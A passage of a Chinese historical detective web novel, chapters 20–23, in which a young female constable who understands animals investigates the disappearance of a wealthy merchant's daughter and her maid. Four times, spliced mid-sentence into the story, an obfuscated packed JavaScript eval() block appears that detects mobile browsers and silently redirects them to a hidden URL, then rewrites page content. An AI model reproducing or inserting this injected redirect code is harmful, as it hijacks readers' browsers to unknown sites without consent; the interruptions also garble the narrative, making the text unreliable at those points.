主角是个游方郎中,细查之下,发现死者皆在死前三天去过镇上新开的“养生汤馆”,喝过特制的“延年汤”。汤馆老板声称汤中加了珍贵药材,实则混入微量砒霜——长期服用可慢性中毒,单次剂量不足致死,但若与另一种常见草药“赤芍”同服,便会催化毒性,迅速毙命。 而镇上药铺,恰在月前开始“免费赠送”赤芍粉,说是活血良药。送药的小伙计,正是汤馆老板的亲弟。 故事重点放在郎中如何从药渣、死者生活习惯、乃至药铺账本中发现蛛丝马迹,最终揭穿这对兄弟为谋财而设的“连环局”。其中穿插了中药相克的常识,意在提醒读者莫信偏方,用药谨慎。 完稿后,她再次匿名投稿。这次附上另半枚铜钱——波浪纹对上,便可领取第一份稿费。 三日后,她扮作书生去书肆。伙计核验铜钱无误,从柜底取出个小布袋:“这是您的稿费,八百文。东家说故事写得好,下回若有新稿,还请再投。” 八百文。不多,但足够她数月笔墨开销,更是实实在在的认可。 穆青青接过布袋,沉甸甸的。她低声道谢,转身离开。走出书肆时,步履轻快了几分。 这条路,或许真能走得通。 南城风声 日子如水滑过。穆青青渐渐适应了捕头生活,也与赵捕头等人默契日增。小案子不断,东家丢鸡西家吵嘴,琐碎却真实。 这日清早,点卯刚散,赵捕头随口道:“南城苏记绸缎庄的苏老爷,这两日好像没见客,铺子都交大掌柜支应了。” 穆青青正整理卷宗,闻言抬头:“病了?” “说不准。苏家是大户,深宅大院的,有点动静也不奇怪。”赵捕头摆摆手,“倒是西街有户人家报孩子走失,才四岁,咱们得去看看。” 穆青青点头,随他出衙。走过南城时,她下意识望了眼那片高墙深院——苏家的宅邸,在晨雾中静默矗立。 墙头,几只麻雀扑棱棱飞过,丢下一串急促的啾啾声: 【麻三十三雀:啾啾!大宅子!好多两脚兽慌慌张张!是丢了什么宝贝吗?】 穆青青脚步微顿。 宝贝?走失孩童?还是……别的什么? 她收回目光,跟上赵捕头。 或许,这看似平静的丰城,又要起风了。 20. 深闺迷踪案(1) 这日清晨,崔县令刚用过早饭,门房就匆匆来报。 “大人,南城的苏老爷有急事求见,却不肯走正门,只请从后衙角门入内。” 说完便递上了苏老爷的拜帖。 宋师爷疑惑道:“南城苏老爷?是丰城县乃至附近几个县城公认的首富苏承宗?” 崔县令接过拜帖扫了一眼,点点头,与宋师爷对视一眼,心中了然——此必是出了不便张扬的家丑。 西厢书房内,苏承宗一袭靛蓝锦缎长袍,腰佩羊脂玉,本是极体面的打扮,此刻却面色灰败,眼下的青黑脂粉都遮不住。他屏退随从,见屋内只有崔县令与宋师爷二人,竟起身深深一揖:“崔大人,宋师爷,苏某今日前来,实有难以启齿之事相求。” “苏老爷但说无妨。”崔县令虚扶一把,示意他坐下。 苏承宗落座,双手紧握成拳,指节都泛白了:“小女明绣……三日前不见了。一同不见的还有她的贴身丫鬟春桃。” 崔县令神色一凝:“何时发现?可曾报官?” “未敢报官!”苏承宗急道,声音里带着压抑的焦虑,“苏家在丰城经营三代,绸缎、粮米、盐茶、船运皆有产业,树大招风。此事若传扬出去,小女名节尽毁不说,苏家商誉生意皆要受损,那些对头必定趁机落井下石。”他深吸一口气,像是下定了决心,“苏某今日厚颜前来,是恳请崔大人……能否派一位稳妥可靠之人私下查探?不拘什么身份,只求嘴严心细。若能寻回小女,查明真相,苏某愿将城南百亩上等桑园捐作县学学田,供贫寒学子所用。此外——” 他顿了顿,声音压得更低:“丰城商会十六家行当,绸缎、粮米、盐茶、酒肆、车马、码头、典当、药铺……往后在税赋、漕运、市集管理上,定全力配合大人新政。苏某虽不才,在商会里还能说上几句话。” 这是极为丰厚的回报,更是整个丰城商界的投名状。 崔县令上任以来,一直想整顿丰城商事,却因地方势力盘根错节而进展缓慢。若得苏承宗全力支持,许多难题便可迎刃而解。 然而崔县令闻言反倒皱紧了眉头。 他在官场多年,见多识广,深知这等豪门大户的“家丑”往往水极深。 表面是女儿失踪,内里不知牵扯多少阴私之事——妻妾争斗、钱财纠纷、乃至更不堪的隐秘。苏承宗如此急切,许下的条件又如此丰厚,恰恰说明此事不简单,恐怕不是寻回人就能善了的。 沉吟片刻,崔县令才缓缓问出那个关键问题:“苏老爷,本官须得问清楚——若令嫒真是……自行离去,又当如何?” 苏承宗脸色一白,嘴唇颤抖了几下,却咬牙道:“即便真是如此,苏某也认!只要知道女儿下落平安,只要她人还活着……绣儿虽自幼娇养,却最是知书达理,上月刚与江宁府林家三公子订下亲事,林家是诗礼传家的书香门第,三公子才学品貌都是一等一的。她怎么可能在此时自毁良缘,断送大好前程呐!” 这话说得斩钉截铁,可见苏承宗深信爱女苏明绣不可能会做出大逆不道之事。 崔县令审视着苏承宗的神情,见他眼中除了焦虑,更多的是困惑与不信,确不像是在作伪。又想到苏明绣若真与人私奔,苏家大可悄悄寻回处理了,何必冒险来求官府? 这事恐怕另有蹊跷。 “既如此,”崔县令终于点头,朝屏风后道:“穆捕头。” “卑职在。” 穆青青从屏风后转出,一身青灰色公服剪裁合体,腰束革带,佩一柄尺长短刀,头发在脑后绾成利落的圆髻,鬓角一丝不乱——正是崔县令月前正式任命、在县衙挂名领俸的丰城县衙女捕头。 苏承宗见她如此年轻,约莫十五六岁模样,身量也未完全长开,脸上还带着些许少女的稚气,不由略微迟疑。 但他到底是见过世面的生意人,细看之下,发现这姑娘目光沉静如水,举止沉稳有度,站在那儿自有一股不容小觑的气度。 又想起近来城中传闻,说崔县令手下有位女捕头心思细密,屡破奇案,连六扇门来的寇大人都赞过,想必就是此人了。 想到此处,苏承宗压下心中疑虑,郑重拱手谢道:“有劳穆捕头费心。小女之事……就拜托了。” 穆青青抱拳还礼,声音清晰平稳:“苏老爷放心,卑职定当尽力。” 崔县令又嘱咐了几句,主要是让苏承宗回去后稳住府中,切莫走漏风声,对外只说小姐染病需静养。又约定了穆青青巳时初刻从苏府侧门入内,由苏夫人亲自接待安排。 苏承宗千恩万谢地去了。 待他走后,宋师爷捻着那截断指,沉吟道:“大人,此事恐怕不简单。苏家那位小姐,属下略有耳闻,确实是个规矩的大家闺秀,据说往年花朝节、上元灯会露面,言行举止都极得体。这样的姑娘突然失踪……” “所以才让青青去。” 崔县令看向穆青青,“你心思细,观察力强,又是个女子,进出内宅方便。此去务必要查得仔细,不仅要看小姐闺房,府中上下人等的反应、说辞,乃至一草一木的异常,都要留心。” “卑职明白。” 穆青青点头,“苏老爷说苏家小姐是连同贴身丫鬟一起不见的,这很关键。若是被迫,同时控制住两个人而不被发现,多半会是团伙作案;若是自愿……”她没有说下去,但意思很清楚。 上午巳时,深秋的日头已不似夏日灼热,带着几分清透的凉意。穆青青跟着苏府那位姓陈的老管家,从宅院东侧的窄门悄声进了苏府。 苏府不愧是三代经营的首富之家,五进院落层层递进,飞檐翘角,气派非凡。庭院里,几株高大的银杏树已是一片金黄,墙角处的菊花正盛,黄白紫红,开得热闹,空气里浮动着清冽的菊香。石榴树上果实已熟透,裂开了口, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17027703|194137||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 露出红宝石般的籽。 这丰城首富家的院子,连萧瑟的秋日到了这里也怯步不前了。 只是今日这锦绣庭院里弥漫着一股说不出的压抑——洒扫的仆役都垂着眼,脚步又轻又急;廊下伺候的丫鬟们聚在一处低声说话,见人来了立刻散开,眼神躲闪。 陈管家五十来岁,穿着深褐色绸面夹袄,走路时背微微佝偻,但步伐很稳。他侧身引路,声音压得低低的:“穆捕头这边请,夫人在正厅候着。天凉,您小心脚下。” 正厅里,苏夫人穿着藕荷色缠枝纹薄棉褙子,外罩一件沉香色比甲,下系秋香色罗裙。她约莫四十出头,眉眼清秀,能看出年轻时的好模样,可此刻面色苍白,眼下乌青一片,连脂粉都盖不住憔悴。她手里捏着串檀木佛珠,指尖微微发抖,目光不时望向厅外,透着焦虑。 看见穆青青进来,苏夫人愣了一下,目光在她那身青灰公服上停了停,迟疑道:“姑娘是……” “丰城县衙捕头穆青青,奉崔大人之命,前来查探小姐失踪一事。”穆青青抱拳行礼,声音清晰平稳。 苏夫人定了定神,勉强扯出个笑容,可那笑比哭还难看:“有劳穆捕头了。”她转头朝屏风后唤道,“李嬷嬷,你过来。” 一位五十多岁、穿着深蓝棉布夹袄的老嬷嬷从后面转出来,眼睛红肿,显然哭过。她向穆青青福了福身,嗓音沙哑:“老身李氏,是小姐的奶娘。” “李嬷嬷,你陪穆捕头去绣儿院里仔细瞧瞧。”苏夫人说着,手指无意识地捻着佛珠,声音压得更低,几乎只剩气音,“若是……若是看见什么不该有的东西,一定先来告诉我,莫要声张。” 这话里的意思,穆青青听懂了。 苏夫人怕在女儿闺房里发现私相授受的信物、男子的物件,那便坐实了私奔的丑事。 “夫人放心。”穆青青应道。 去东厢院的路上要穿过两重月门。李嬷嬷走在前面,步子很慢,不时抬手用袖口擦眼睛,她的背影佝偻,像是骤然老了十岁。 “嬷嬷,”穆青青轻声问,口中呼出的气息在微凉的空气里凝成淡淡白雾,“小姐是什么时候不见的?” 李嬷嬷喉咙哽了一下,才哑声道:“是前天,九月十五。那天午后,小姐说身子乏,要歇午觉,让院里伺候的丫鬟婆子都出去,只留春桃一个人在屋里。到了申时初刻,我去唤小姐起来用些点心,敲门没人应,推门进去……”她声音发颤,“屋里就空了,一个人都没有。” “春桃也不见了?” “是,连小姐养的那只狮子狗雪团儿也不见了。我们四处找,才发现后角门虚掩着。守门的老王说,午后确实听见狗叫声,像是雪团儿在叫,可他伸头看时,巷子里空荡荡的,就没在意。” 苏小姐养的狮子狗也不见了?这是之前苏老爷没提到过的。 “春桃是什么时候来府里的?” 21. 深闺迷踪案(2) 李嬷嬷拢了拢夹袄的袖子,想了想:“去年开春。说是南边遭了水灾,家里人都没了,卖身葬亲。小姐心善,见她可怜,又识得几个字,还会点医术——说她爹原是个走方郎中,教过她认药草——就把她留在身边做些轻省活计。这丫头确实机灵,手脚勤快,说话也伶俐,不到半年就成了贴身的。” “医术?”穆青青敏锐地抓住了这个词。 “嗯,小姐偶尔会头痛胸闷,春桃给她按按头上的穴位,熬点安神的药茶,真能缓解些。” 李嬷嬷叹道,呼出一口白气,“夫人还夸过她,说难得有这么懂事的丫头。” 说话间已到了东厢院。这是独成一进的小院,青砖铺地,墙边几丛秋菊开得正好,金灿灿的。西墙根那架紫藤早已过了花期,叶子半黄半绿,在秋风里窸窣作响。 苏明绣的闺房在二楼。踩着老旧的木楼梯上去,吱呀轻响。李嬷嬷推开雕花木门,一股淡淡的檀香味飘出来——是驱秋寒常用的暖香,气味沉静。 房间朝南,宽敞明亮。深秋的阳光透过窗棂洒进来,不如夏日灼烈,带着几分温柔的暖意。靠东墙是张精致的雕花拔步床,挂着秋香色的厚缎帐子,帐钩上垂着杏色流苏。床对面是黄花梨木的梳妆台,台面上摆着螺钿妆匣、铜镜、脂粉盒子,都收拾得整齐。临窗是张书桌,桌上摊开一本《诗经》,镇纸压着一张未写完的花笺,砚台里的墨已半干。窗台上还摆着一盆小小的金菊,开得正艳。 一切看起来安宁雅致,若非知道主人已失踪三日,这房间就像主人刚刚离开片刻。 穆青青戴上随身带的薄绸手套——这是她特意请崔远帮忙做的,指尖处加厚,掌心透气。 她先走到梳妆台前。妆匣半开着,里头分层摆着各色首饰。李嬷嬷凑近细看,手指颤巍巍地指着其中一格:“小姐那支赤金点翠簪子不见了……她入秋后常戴的。还有一对珍珠耳坠,是老夫人前年给的及笄礼,小姐也常戴的。” “只少了这些?” “是。”李嬷嬷又仔细看了一遍,“最值钱的翡翠头面、红宝石璎珞、金镶玉镯子都在。妆匣下层的银票、碎银子也没动过。” 若是私奔,通常会把最值钱的首饰带走,好换盘缠。只拿日常戴的几件,反倒奇怪。 她转身走向靠墙的衣柜。这是两扇门的立柜,打开后,里头整齐叠放着秋冬衣裳。李嬷嬷一件件清点,她熟悉苏明绣的每一件衣服,很快就有了结果: “少了一套鹅黄色绣折枝梅的夹棉襦裙,配的那件藕荷色缠枝莲纹比甲也不见了。还有一双月白缎面绣兰草的软底绣鞋。”她顿了顿,打开旁边的箱笼,“小姐那条月白色云锦镶风毛的披风也没了——是去年入冬时,老爷特意从江宁府带回来的,料子极好,小姐平日里舍不得多穿,只天冷出门时才披一披。” “只带了这几件?” “是。”李嬷嬷眼圈又红了,从袖中掏出帕子按了按眼角,“都是小姐平日里最喜欢的衣裳。可那些更贵重的织金缎子、貂皮里子的冬衣,倒是一件没少。” 穆青青思索着:“只带心爱之物,不拿最贵重的……倒像是有人劝她‘轻装简行,只带贴身的便好’。” 她走到书桌前。摊开的《诗经》正翻到《郑风·子衿》那一页。镇纸下压的花笺上,用清秀的小楷写着半阕词: “春日宴,绿酒一杯歌一遍……” 笔迹娟秀,但“遍”字最后一笔有些发飘,墨迹也微微晕开,像是写字的人心神不宁,或是研墨时水汽未匀。 穆青青心中却是一惊,因为这首词她在现代的时候读到过,后面的内容是“再拜陈三愿:一愿郎君千岁,二愿妾身常健,三愿如同梁上燕,岁岁长相见。” 再加上一旁摊开的《郑风·子衿》,穆青青心想,这苏家小姐莫非真的跟人私奔了吧? “小姐写字时手可稳当?” “稳得很。”李嬷嬷肯定地说,走近了些,“小姐七岁开蒙,练了整整十年字,手腕最是稳当。往年抄经,一气写上一个时辰,字迹都不会乱。”她凑近细看那花笺,眉头蹙起,“这字……看着像是小姐所写。” 李嬷嬷不识字,认字只能说是认个形罢了。 穆青青小心地将花笺用油纸包好,收入怀中,决定之后还要去请苏老爷辨认下字迹。 看完闺房,穆青青请李嬷嬷带她去见见府里相关的人,李嬷嬷就先带着穆青青去了春桃住的地方。 春桃和其他三个二等丫鬟一起住在后院厢房,四个人一间屋。 同屋的圆脸丫鬟红着眼睛说:“春桃姐姐人很好,常帮我们做针线。” “春桃平日里有什么习惯吗?” “习惯?“ 圆脸丫鬟摇摇头说:“都是些普通丫鬟的习惯罢了。不过她比较怕冷,睡觉的时候穿得比我们其他人要厚一些。” 穆青青走近春桃的床铺。 被子叠得方方正正,枕头下面什么都没有。她俯身细看,发现床板靠墙那一侧,有几道很浅的竖条痕迹,像是长期有什么东西在那儿磨过。 “这是什么痕迹?”她问。 丫鬟们齐摇头:“不知道,我们没注意过。” 穆青青又看春桃的衣柜——只有几套青布衫裙,洗得干干净净。 她仔细查看每件衣服,只在一条旧裙子内侧发现了些许没洗干净的泥点子。 穆青青把这条旧裙子收走了。然后继续问丫鬟们:“春桃有什么特别珍惜的东西吗?” 圆脸丫鬟想了想:“她有个小木盒子,从不让别人碰。有一次我打扫时不小心碰掉了,她急得脸都白了。” 穆青青请她们指出位置,在床底一块松动的青砖下找到了那个木盒。打开一看,里面是几样东西:一支普通的银簪子、一小盒胭脂、一束用红绳系着的头发,还有一小包干掉的药草。 李嬷嬷辨认后惊道:“ ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17032512|194137||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 这银簪……是小姐去年丢的那支!夫人还罚过我们,说谁手脚不干净!” 春桃私藏小姐的东西?穆青青拿起那束头发——乌黑柔顺,是女子的头发。 “这是谁的头发?” 大家都摇头。 她又闻了闻那包药草,有股淡淡的苦味,像是安神助眠的药材。 “春桃平日里会独自出门去办事吗?” 李嬷嬷摇摇头说:“春桃每日里都陪在小姐身边,没有单独出过门。不过每月里有一日,小姐会带着她去静心庵上香。” 静心庵?裙子上的泥点子会是静心庵的吗? 正问着话,一阵香风飘来。 众人回头,只见一位穿着桃红织金缠枝莲纹褙子、下系柳绿罗裙的年轻女子款款走来,鬓边簪着赤金点翠步摇,耳垂上明珠摇曳——正是苏府受宠的李姨娘。 李姨娘不过二十出头,生得杏眼桃腮,身段窈窕。她身后跟着两个穿绿比甲的小丫鬟,一个端着红漆茶盘,一个捧着点心盒子。 “这位就是县衙来的穆捕头吧?”李姨娘笑得温婉,声音娇柔,“老爷让我来问问,可有什么需要的?查案辛苦,用些茶点歇歇。” 穆青青起身还礼:“劳烦姨娘。正有些事想请教姨娘。” “穆捕头请讲。”李姨娘示意丫鬟摆上茶点,自己在石凳上坐下,动作优雅。 “不知姨娘对小姐失踪这事,可有什么看法?” 李姨娘轻轻叹气,用绢帕拭了拭眼角——帕子是上好的苏绣,角上绣着并蒂莲:“绣儿这孩子……平日里看着最是乖巧懂事,可姑娘家的心思,谁说得准呢?前些日子,她还来我屋里坐,跟我抱怨,说江宁林家规矩大,往后嫁过去怕是不自在。” “哦?小姐说过这话?” “是啊。”李姨娘蹙着眉,一副忧心模样,“她说林家老夫人最重礼节,晨昏定省、立规矩,一丝都错不得。我跟她说,婚姻大事父母之命,哪能由着性子挑拣?大家族的媳妇,哪个不是这么过来的?”她顿了顿,欲言又止,“谁知道她心里……是不是有了别的念头?” “姨娘知道小姐近来和什么人来往多吗?” 李姨娘摇头:“她深居简出,除了每月里有一日去静心庵上香,为夫人祈福,基本都在家里做针线、读书写字。不过……”她像是忽然想起什么,“前阵子她托我在外头订了几匹鲜亮绸缎,说是要做嫁衣。我想着姑娘家爱美,就答应了,让人去‘锦绣庄’订了最好的杭绸。哪知道料子还没送到,人就……” “绸缎?”穆青青目光微凝,“可是东街‘锦绣庄’前几日失窃的那三匹杭绸?莲青、杏黄、海棠红三色?” 李姨娘一怔,笑容僵了僵:“穆捕头怎么知道?” “前日‘锦绣庄’报官失窃,丢的正是这三匹上好杭绸。”穆青青看着她,“姨娘说小姐要做嫁衣,可这三色虽然鲜亮,却不是正红,不合嫁衣规制。” 22. 深闺迷踪案(3) 李姨娘一怔,笑容僵了僵:“穆捕头怎么知道?” “前日‘锦绣庄’报官失窃,丢的正是这三匹上好杭绸。”穆青青看着她,“姨娘说小姐要做嫁衣,可这三色虽然鲜亮,却不是正红,不合嫁衣规制。” 李姨娘脸色微变,但很快又恢复温婉笑容,只是那笑意未达眼底:“这……姑娘家心思难猜,许是想做几身鲜亮常服呢?嫁去江宁,总要备些体面衣裳。” 穆青青不再追问这个,转而问道:“春桃平时和姨娘可有过接触?” “春桃?”李姨娘想了想,“那丫头挺懂事的,常来给我请安。上个月还送了我一盒她自己调的胭脂,说是用玫瑰花汁子加珍珠粉调的,比外头买的好。” “她自己会调胭脂?” “是啊,她说跟父亲学的,会调些胭脂水粉。”李姨娘笑道,从袖中取出个小小的瓷盒,打开给穆青青看,“喏,就是这个,颜色确实鲜亮。” 穆青青接过细看。 瓷盒普通,里头胭脂膏子明显用过一些,色泽红润,细腻均匀,确是好手艺。 她凑近闻了闻,除了花香,还有一丝极淡的、有些许熟悉的的气味。 “姨娘可知道春桃有什么特别之处?” 李姨娘摇头:“就是个普通丫鬟,手脚勤快些罢了。” 她起身,理了理裙摆,“穆捕头若没别的事,我就先回去了。夫人这两日身子不好,我还得去伺候汤药。” “姨娘请便。” 李姨娘带着丫鬟袅袅婷婷地走了,那桃红色的身影消失在月门后。 穆青青站在原地,看着手中的胭脂盒,若有所思。 之后穆青青独自在苏府后院转了一圈,还特意去雪团儿的窝那儿看了看,并未发现不妥之处,于是就随便找了个丫鬟带路,去跟苏夫人辞别了。 苏夫人被李嬷嬷扶回厅中时,面色比方才更灰败几分,眼底红肿未消,显然是刚又哭过一场。她接过穆青青递来的花笺,指尖冰凉,垂眸仔细辨认了许久。 “……确是绣儿的字。”她声音很轻,像被抽干了力气,手颓然落下,那张纸轻飘飘滑落膝上。 她不再说话,只怔怔望着前方,眼神里最后一点光也熄灭了。那副强撑的镇定彻底消散,只剩下一片死灰般的沉寂。 离开苏府时,已是午后未时。 秋风拂过脸颊,带着一丝凉意,可穆青青心头却沉甸甸的。 苏明绣的失踪处处透着不合常理的痕迹。可穆青青心里清楚,无论真相是私奔还是遇害,在这个世道里,一个失了踪迹的深闺小姐,名节便已蒙了尘。即便寻回,往后的路,也多半是荆棘密布,再难有从前的太平光景了。 回到县衙,穆青青刚把查到的情况一一禀报,正说着,外面忽然吵嚷起来。 崔近匆匆进来:“大人!满城都在传,说苏家小姐跟个书生私奔了!还说那书生姓柳,常在码头书摊转悠,跟苏小姐诗词往来半年多了!” 流言似乎一时之间传遍全城,且传得有模有样,连书生的姓都人尽皆知,这也太诡异了。 “什么?!”崔县令霍然起身,“这才半日,怎会传得满城风雨?” 穆青青心中一沉。流言传播的速度太快了,快得不正常,像是有人刻意在推动。 苏承宗很快又赶来了,这次是怒气冲冲:“崔大人!这定是有人要害我苏家!绣儿绝不可能私奔!那什么码头书生,我派人去查了,码头书摊的老板说,确实有个青衫书生常来,但三日前就已离开丰城,往北边去了!” “北边?”穆青青似乎想到了什么。 “是,说是去京城赶考的。”苏承宗咬牙,“可就算如此,也不能证明他与绣儿有私!我苏家经商多年,难免得罪些小人,这定是有人蓄意造谣,坏我女儿名节!” 崔县令安抚了苏承宗,答应继续密查。待苏老爷离去,他看向穆青青和赵捕头:“你二人明日去码头详细查访,看那书生究竟是何来历。记住,要暗中进行。” “是。” 夜里,穆青青回到东厢院,脑海中反复推敲今日所见。 所有证据都指向私奔,可苏老爷态度的坚决、苏小姐行为的矛盾之处,丫鬟春桃习惯的古怪,李姨娘的言辞闪烁,以及那三匹失而复得的绸缎。 对了,还有静心庵,那失踪二人每月必去之地。 这一切,都让她觉得这案子没那么简单。 穆青青觉得脑子里乱成一团,有些闷,她推开窗透透气,一眼就看见对面墙头上团着两只猫。 瓦片正舔着爪子,橘点点蜷成个毛球在它身边打盹。 白天见面就打的两只喵,如今却 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17036975|194137||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 贴贴在一起取暖。 脑海中光幕悄悄浮现: 【丰城县衙夜话(当前在线:5)】 瓦片:【喵呜——今晚月亮真圆,适合去西墙根逮耗子。橘点点你别打呼噜了!】 橘点点:【喵……呼噜……鱼……梦里都是鱼……】 大黑:【汪!(从狗窝里抬头)刚才好像听见隔壁巷有动静?】 灰灰:【吱!没事!是我二表哥全家搬去粮仓了!那儿最近漏米,可肥了!】 穆青青看着这些日常闲聊,忽然心中一动。她轻声唤:“大黑,大黑在吗?啧啧啧,过来……” 这么久了,穆青青对这个动物群聊也有了一些了解,知道群里聊天的小动物们一定就在她的附近。 果然,没过一会儿,一只又大又壮的黑色土狗就竖着耳朵,欢快地摇着尾巴跑过来了。 大黑已经被训练的通人性了,绝不会随便乱叫。 所以赵捕头他们晚上回家之后,大黑的链子就会被解开,它就可以在县衙里自由活动,权当是巡夜了。 穆青青蹲下身,揉了揉它毛茸茸的脑袋:“大黑真乖~你最近……有没有认识新朋友?” 大黑歪着头,乌溜溜的眼睛望着她,眼中一片纯真。 穆青青也觉得自己这个行为有点傻。 她也不确定大黑能不能听懂这么复杂的话,不过在现代的时候,穆青青在短视频上刷到过很多能听懂主人说话的聪明狗狗的。 当然,还有猫猫。 于是也瞪着一双充满期待的大眼睛望着大黑。 一人一狗大眼瞪小眼了半天,穆青青等的快要放弃的时候,光屏突然动了: 大黑:【汪!有!我兄弟大黄,最近找了个小媳妇儿!可漂亮了!】 麻雀:【啾!看见过!是只小白狗,毛长长的,眼睛圆圆的!就是笨,不会自己找吃的!】 瓦片:【喵呜!小白狗?是不是身上香喷喷的那个?前天在河边见过,它跟大黄在草丛里打滚!】 小白狗?河边? 穆青青心跳加快。她记得苏夫人说,苏明绣的狮子狗叫雪团儿,正是通体雪白、长毛。 “大黑,”她压低声音,“带我去见见你兄弟大黄,好不好?” 大黑兴奋地原地转了个圈,尾巴摇成风车。 23. 深闺迷踪案(4) 次日清晨,穆青青换上一身便于行动的灰蓝色粗布衣裙,用布巾包了头发,牵着大黑出了县衙。她没直接去码头查书生,而是任由大黑引路。 大黑显然对这次“出门访友”很是兴奋,一路嗅着地面,尾巴高高翘起,偶尔回头看她一眼,仿佛在确认她跟上了。 他们穿过清晨雾气未散的街巷,绕过熙攘起来的早市,渐渐走到城南一带。这里的房屋渐稀,河道支流纵横,岸边多是苇丛和菜地。 大黑忽然加快脚步,朝着河边一片荒草地跑去,边跑边“汪汪”叫了两声。 草丛里立刻传来回应,是另一阵狗吠。紧接着,一只黄毛土狗窜了出来,亲热地与大黑互相嗅闻、打闹。 这应该就是大黑的兄弟,大黄了。 穆青青缓步走近。大黄警惕地看了她一眼,但见大黑对她亲昵,便也放松下来,继续和大黑玩耍。 “大黄。”穆青青轻声唤,从怀里掏出一块早上特地带的肉干。 大黄耳朵动了动,犹豫着凑过来,小心翼翼叼走肉干,退到一旁大嚼起来。 穆青青耐心等着。待它吃完,她才慢慢蹲下身,目光扫视四周:“大黄,你的……小媳妇儿呢?” 大黄歪头看她,显然没听懂。但光幕却跳了出来: 【河边草丛(当前在线:4)】 大黄:【汪!这个两脚兽给的肉干真香!比我昨天从酒楼后巷捡的骨头还香!】 大黑:【汪汪!她是我老大的朋友!可厉害了!】 大黑:【汪汪汪!大黄你媳妇呢?怎么没来?我老大的老大想见见它呢。】 正说着,远处芦苇丛一阵窸窣响动,一个白色的小身影钻了出来。 那是一只通体雪白的长毛狮子狗,毛色有些脏污打结,但模样确很漂亮,圆眼睛黑溜溜的。它看见大黄,欢快地小跑过来,却在看见穆青青时刹住脚步,警惕地往后缩了缩。 是雪团儿! 穆青青几乎可以肯定。这品相、这毛色,绝不是流浪狗,也绝非寻常人家能养。 她不敢贸然上前,只又掏出一小块肉干,轻轻放在地上,自己退开几步。 小白狗看看肉干,又看看大黄。大黄“汪”了一声,像是鼓励。它这才小心翼翼地凑过来,叼起肉干,退到芦苇丛边吃起来。 穆青青静静观察。这狗吃东西的姿态很斯文,不像野狗狼吞虎咽,显然是受过家养的。而且它脖颈上有一圈毛比其他地方短——应是长期戴项圈留下的痕迹,只是项圈现在不见了。 待它吃完,穆青青才用最温和的声音开口:“雪团儿?” 小白狗耳朵猛地竖起,抬头看她,眼神里透出疑惑和一丝……熟悉? 它记得这个名字! 穆青青心跳如鼓。她慢慢伸出手:“雪团儿,来,过来。” 小白狗犹豫着,往前挪了两步,又停住。它转头看看大黄,仿佛在寻求意见。 大黄不明所以,但还是“汪”了一声,摇摇尾巴。 雪团儿这才慢慢走到穆青青脚边,仰头看着她,轻轻“呜”了一声。 穆青青伸手,轻轻抚摸它的头。狗儿没有躲闪,反而蹭了蹭她的手心。 就在这时,光幕上跳出雪团儿的“发言”: 雪团儿:【汪汪!这个两脚兽身上有家里的味道!暖暖的,像小主人的手……】 大黑:【汪!她是我老大的朋友!跟着她有肉吃!】 雪团儿:【呜呜……我想小主人了……她一定很害怕……我和大黄追啊追,追到河边,味道就没了……】 穆青青的手猛地一顿,停在雪团儿柔软的毛发上,光幕中那句“我和大黄追啊追,追到河边,味道就没了”在她心中激起涟漪。 “河边……”她低声重复,目光投向不远处的河面。 这里应该是大黄和雪团儿常玩耍的河边草地,芦苇丛生,水流平缓。雪团儿提到“追到河边,味道就没了”,说明苏明绣的气味痕迹在河边中断了,很大可能是因为过了河。 穆青青没有急于追问更多,她知道雪团儿听不懂太复杂问题,她继续轻柔地抚摸雪团儿,从怀中又取出一块肉干。雪团儿小心翼翼地叼走,在她脚边吃起来。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17042535|194137||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 通过温柔的接触和喂食,穆青青能感受到雪团儿逐渐放松,光幕中浮现的思绪也更加清晰: 【雪团儿:那天下午……小主人和春桃姐姐偷偷出门……我想跟着一起去玩,她们不让我跟……】 【雪团儿:我从后门溜出去……追着马车跑……】 【雪团儿:马车跑得好快……到河边……上船……】 上船!果然是过了河! 【雪团儿:我想游过去……水太深……大黄来了……】 穆青青心中了然。她抱起雪团儿,仔细检查它身上是否还有其他线索——没有伤痕,只是毛发有些脏污,显然这几天在外流浪吃了些苦。 